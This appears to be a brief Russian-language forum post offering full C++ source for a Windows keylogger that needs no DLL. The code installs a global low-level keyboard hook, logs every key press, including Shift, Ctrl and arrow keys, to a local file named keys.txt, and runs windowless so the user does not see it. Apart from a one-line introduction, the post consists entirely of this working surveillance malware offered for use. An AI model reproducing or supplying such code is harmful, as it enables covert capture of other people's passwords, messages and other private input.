Без всяких ДЛЛ .
Код:
#define _WIN32_WINNT 0x1337
#include <fstream>
#include <windows.h>
using namespace std;
HHOOK keyboardHook;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
ofstream out("keys.txt", ios::app);
switch (p->vkCode) {
// Invisible keys
case VK_CAPITAL: out << "[CAPLOCK]"; break;
case VK_LSHIFT: out << "[LSHIFT]"; break;
case VK_RSHIFT: out << "[RSHIFT]"; break;
case VK_LCONTROL: out << "[LCTRL]"; break;
case VK_RCONTROL: out << "[RCTRL]"; break;
case VK_INSERT: out << "[INSERT]"; break;
case VK_END: out << "[END]"; break;
case VK_PRINT: out << "[PRINT]"; break;
case VK_DELETE: out << "[DEL]"; break;
case VK_BACK: out << "[BK]"; break;
case VK_LEFT: out << "[left]"; break;
case VK_RIGHT: out << "[right]"; break;
case VK_UP: out << "[UP]"; break;
case VK_DOWN: out << "[DOWN]"; break;
// Visible keys
default:
out << "[" << char(p->vkCode) << "]";
}
out.close();
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
void keepAlive()
{
MSG message;
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage( &message );
DispatchMessage( &message );
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
keepAlive();
UnhookWindowsHookEx(keyboardHook);
return 0;
}